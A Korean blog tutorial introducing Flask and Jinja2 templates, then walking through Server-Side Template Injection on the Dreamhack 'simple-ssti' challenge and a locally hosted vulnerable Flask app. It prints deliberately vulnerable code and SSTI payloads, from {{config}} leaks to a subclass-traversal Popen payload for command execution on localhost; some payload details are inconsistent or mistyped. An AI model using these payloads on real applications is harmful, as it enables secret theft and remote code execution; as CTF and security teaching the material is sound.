본문 바로가기
Web hacking/개념 정리 & 심화

Flask(jinja)를 이용한 SSTI 실습

by m_.9m 2022. 11. 15.

파이썬의 웹 프레임워크인 Flask는 파이썬 환경에서 웹 환경을 구현해 주며 간단하게 사용할 수 있다.

2.2.1 Flask 실습

설치 명령어는 다음과 같다. 나는 anaconda를 사용하기 때문에 해당 프롬프트 창에서 flask를 설치, 실행시켰다.

pip install Flask

설치 후 해당 경로에서 python [파일 명].py로 실행이 가능하다.

2.2.2 템플릿 엔진-jinja2

⇒ jinja2는 파이썬용 템플릿 엔진이다.

  1. 개념

플라스크는 WSGI 구현체인 Werkzueg와 템플릿 jinja2을 사용한다. jinja는 플라스크 설치 시 자동으로 같이 설치된다. 플라스크 템플릿 파일들은 /templates 폴더에 위치해야한다. 물론 독립적으로 사용 또한 가능하다.

2) 특징

  • jinja의 가장 강력한 기능 중 하나는 상속 기능입니다.
  • php에서 include() 와 require() 함수와 비슷한 기능을 제공합니다.
  • 웹사이트를 제작하다보면 공통된 코드가 자주 사용될때가 있습니다.
  • 페이지를 구성하는 파일들이 많아지면 이러한 코드들을 수정할때 많은 시간이 쓰입니다.
  • 이러한 문제를 해결 하기 위해 jinja2 템플릿 엔진에서 제공하는 상속기능을 사용하면 편리합니다.

3) 예시

{% extends 'base.html' %}
{% block title %}Memberlist{% endblock %}
{% block content %}
  <ul>
  {% for user in users %}
	<li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}

2.2.3 SSTI 공격 방법

드림핵 SSTI 문제 예시 - simple-ssti

 

simple-ssti

존재하지 않는 페이지 방문시 404 에러를 출력하는 서비스입니다. SSTI 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. Reference Server-side Basic

dreamhack.io

  1. 소스 코드 다운
#!/usr/bin/python3
from flask import Flask, request, render_template, render_template_string, make_response, redirect, url_for
import socket

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

app.secret_key = FLAG

@app.route('/') #메인페이지
def index():
    return render_template('index.html')
@app.errorhandler(404) #404에러 페이지
def Error404(e):
    template = '''
    <div class="center">
        <h1>Page Not Found.</h1>
        <h3>%s</h3>
    </div>
''' % (request.path) #요청 경로를 받아온다. 취약
    return render_template_string(template), 404
		#해당 함수를 이용해 template 구문 해석

app.run(host='0.0.0.0', port=8000)

 

2. 설명

기본적으로 Flask는 app.n에 들어가는 대부분의 정보들이 config 클래스에 들어간다.

만약, app.secret_key에 중요정보를 넣었을때 {{ config }} 해당 페이로드를 삽입하여 config 정보를 출력하게 만들면 app.secret_key의 중요정보를 확인할 수 있다.

 

3. 실습

1) {{7*7}} 을 삽입해 코드가 실행되는지 확인한다.

2) {{ config.item() }} 혹은 {{ config{} }} 으로 저장 정보를 확인한다.

3) 아래와 같이 직접 {{ config(secrect_key) }} 입력으로 secret_key를 추출할 수도 있다.

4. 파일 직접 실행 실습 - 해당 문제로는 원격 코드 실행 실습까지 할 수 없어 Flask로 실습 페이지를 띄워 진행하였다.

(소스코드 참조 - https://dokhakdubini.tistory.com/515)

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from flask import Flask, request, render_template_string

app = Flask(__name__)

with open('flag.txt', 'r') as f:
    flag = f.read()

app.secret_key = str(flag)

@app.route('/')
def home():
    title = "SSTI 실습"
    content = request.args.get('content') #get으로 content 파라미터를 받아온다.
    thisistemp = '''
   <!DOCTYPE html>
   <html>
      <head>
         <meta charset="utf-8">
         <title>SSTI</title>
      </head>
      <body>
         <h1>{{title}}</h1>
         <h2>%s</h2>
      </body>
   </html>''' % content  # 컨텐츠 파라미터를 받아온다. 취약
    return render_template_string(thisistemp, title=title)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8080)

1) 실습 페이지를 띄운다. 소스코드를 통해 content 파라미터를 받아 뿌려주는 것을 알 수 있다.

2) config()를 출력해본다.

3) 기존 값에 Os 라이브러리 내부의 config 값을 추가한다. os 내부에는 popen이나 os 등의 실행함수가 있다.

4) {{''.class.mro}} 코드로 사용할 수 있는 class를 조회한다.

 

5) 파이썬 함수는 모두 object class이므로 {{''.class.mro[1].subclasses()}}로 함수들을 확인해본다.

[개념]

*파이썬의 최상위 클래스는 object이고, 클래스 정의 시 상속하지 않아도 기본으로 상속된다.

*subprocess는 파이썬 스크립트에서 쉘 명령 등 다른 프로세스를 실행하고 출력 결과를 가져올 수 있게 해주는 라이브러리다.

*Popen 클래스는 다양한 옵션을 통해 call(), check_output() 명령어보다 훨씬 유연하게 서브프로세스를 실행하고 결과값을 받아올 수 있게 해준다.

*’’로 str 타입을 리턴하고 __mro__를 사용해 root 클래스에 접근할 수 있다.

6) 이후 인덱스 값이 297번째인 것을 확인해 사용한다.

 

7) 이제 실제 Popen을 사용하는 것과 같이 dir → type flag.txt 를 통해 flag 파일을 열어 확인한다.

http://127.0.0.1:8080/?content={{''.__class__.__mro__[1].__subclasses__()[202](’dir',shell=True,stdout=-1).communicate()}}